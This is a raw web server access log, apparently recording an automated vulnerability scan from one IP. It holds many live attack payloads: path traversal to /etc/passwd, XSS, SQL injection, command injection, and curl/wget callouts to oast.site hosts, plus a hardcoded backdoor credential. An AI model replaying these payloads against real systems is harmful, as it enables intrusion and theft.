[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/login/LoginForm.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actions/authenticate.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /unauth/php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /downloads/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380Cy1kQzcEsu5L6BYxdbYi30zV/_/%2e/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?username=zyfwp&password=PrOw!aN_fXp HTTP/1.1" 3426
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/newpassword HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/out HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dataservice/disasterrecovery/download/token/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/event-espresso-core-reg/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/requestreset HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /goform/setSysAdm HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/15zine/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pacs/login.php?message=%3Cimg%20src=%22%22%20onerror=%22alert(1);%22%3E1%3C/img%3E HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/380CxpqxdYteW1CL3fxpuQFIIy1/)%3C%2Fscript%3E HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public/login.htm?type=treestat HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/lesson/1 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/graphql HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?language=%22%3E%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.htm HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-admin/admin-ajax.php?action=duplicator_download&file=%2F..%2Fwp-config.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/check HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ebook/bookPerPub.php?pubid=4' HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/php/profile.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/chn/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/histograms?h=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&fmt=plot_cdf&log_scale=true HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]&ids[0][product_id][from]=?&ids[0][product_id][to]=)))%20OR%20(SELECT%201%20UNION%20SELECT%202%20FROM%20DUAL%20WHERE%201=1)%20--%20- HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /a/b/%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /help/english/index.html?javascript:alert(document.domain) HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 3426
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpMyAdmin/index.php?pma_servername=d5g6sfahausljekepl20u93p8m7n4g8f3.oast.site&pma_username=380CyIL8a34ZFflWCpxgP8yHYLB&pma_password=380CyIL8a34ZFflWCpxgP8yHYLB&server=1 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o&ylabel&xrange=10:10&yrange=[33:system(%27wget%20http://d5g6sfahausljekepl207xutbgr9t4npw.oast.site%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manage/fileDownloader?sec=1 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=/etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /incom/modules/uploader/showcase/script.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /grafana/avatar/1%3fd%3dhttp%3A%252F%252Fimgur.com%252F..%25252F1.1.1.1 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lib/crud/userprocess.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /external_content/retrieve/oembed?endpoint=http://d5g6sfahausljekepl20uuhtbxjpca3rc.oast.site&url=foo HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /objects/cyiwp.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page&action=edit&f1=.//./\\.//./\\.//./\\.//./\\.//./\\.//./etc/passwd&restore=1 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOE+/session_password.html HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/easy-wp-smtp/ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/system_mgr.cgi?C1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /checkValid HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /proxy.stream?origin=http://d5g6sfahausljekepl20h84egemzt3mbd.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /+CSCOE+/saml/sp/acs?tgname=a HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=users/login HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v1/kv/380CyIAIUFWIVOPFqWPK2ZYh4lq?raw HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /EemAdminService/EemAdmin HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /magmi/web/magmi_saveprofile.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tos/index.php?explorer/pathList&path=%60curl+http%3a//d5g6sfahausljekepl20wc3ptbkwoupfu.oast.site+-H+'User-Agent%3a+A4YCqt'%60 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /fuel/pages/items/?search_term&published&layout&limit=50&view_type=list&offset=0&order=asc&col=location+AND+(SELECT+1340+FROM+(SELECT(SLEEP(6)))ULQV)&fuel_inline=0 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?download=/etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webGui/images/green-on.png/?path=x&site[x][text]=%3C?php%20echo%20md5(%22CVE-2020-5847%22);%20?%3E HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /account/index.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /meaweb/os/mxperson HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wizard/initialise.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ultimate-faqs/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /AdminTools/querybuilder/logon?framework HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /session/create HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?lang=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cp%20class=%22&p=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/catalogsearch/advanced/result/?name=e HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /linuxki/experimental/vis/kivis.php?type=kitrace&pid=0;echo%20START;cat%20/etc/passwd;echo%20END; HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zimlet/com_zimbra_webex/httpPost.jsp?companyId=http://d5g6sfahausljekepl20n78i8s1d4km5j.oast.site%23 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /metrics/v1/mbeans HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www/delivery/afr.php?refresh=10000&\")',10000000);alert(1337);setTimeout('alert(\" HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23 HTTP/1.1" 3426
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/libagent.cgi?type=J HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337\">&id=3&nsvpx=phpinfo HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/jsonws/invoke HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/experimental/dags/example_trigger_target_dag/dag_runs HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /menu/stapp HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pandora_console/attachment/pandora_chat.log.json.txt HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /css/eonweb.css HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /assets/data/usrimg/380cyhoioliiuilnpfwxh877zsq.php HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/change_password.php/%22%3E%3Csvg%2Fonload%3Dalert(document.domain)%3E HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /graph_realtime.php?action=init HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?author=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page_slug=../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/?color=%22%3E%3Csvg/onload=alert(document.domain)%3E%22 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927368906 HTTP/1.1" -
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ext-js/index.html HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/380Cy1kQzcEsu5L6BYxdbYi30zV/_/%2e/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vendor/qcubed/qcubed/assets/php/profile.php HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /auth/realms/master/clients-registrations/default HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /phpmyadmin/index.php?pma_servername=d5g6sfahausljekepl20m57hpzjyxdane.oast.site&pma_username=380CyIL8a34ZFflWCpxgP8yHYLB&pma_password=380CyIL8a34ZFflWCpxgP8yHYLB&server=1 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /logupload?logMetaData=%7B%22itrLogPath%22%3A%20%22..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fhttpd%2Fhtml%2Fwsgi_log_upload%22%2C%20%22logFileType%22%3A%20%22log_upload_wsgi.py%22%2C%20%22workloadID%22%3A%20%222%22%7D HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vropspluginui/rest/services/getvcdetails HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload/userfiles/image/380Cy0x0GIZUsUdZYzFMGFZYKof.png HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /apply_sec.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/xmlrpc HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/webrpc HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/readycloud_control.cgi?1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111/api/users HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goform/goform_get_cmd_process?cmd=psw_fail_num_str HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /loginLess/../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cht/liveView?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error3?msg=30&data=';alert('document.domain');// HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hystrix/;a=a/__$%7BT%20%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22curl%20http://d5g6sfahausljekepl20k5nqb3jx1ut5t.oast.site%22%29%7D__::.x/ HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /messages HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/..%2finfo.html HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22 HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vropspluginui/rest/services/getstatus HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/buddypress/v1/signup HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/jsonws/invoke HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /_bulk HTTP/1.1" 196
[09/Jan/2026:10:51:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin HTTP/1.1" 196
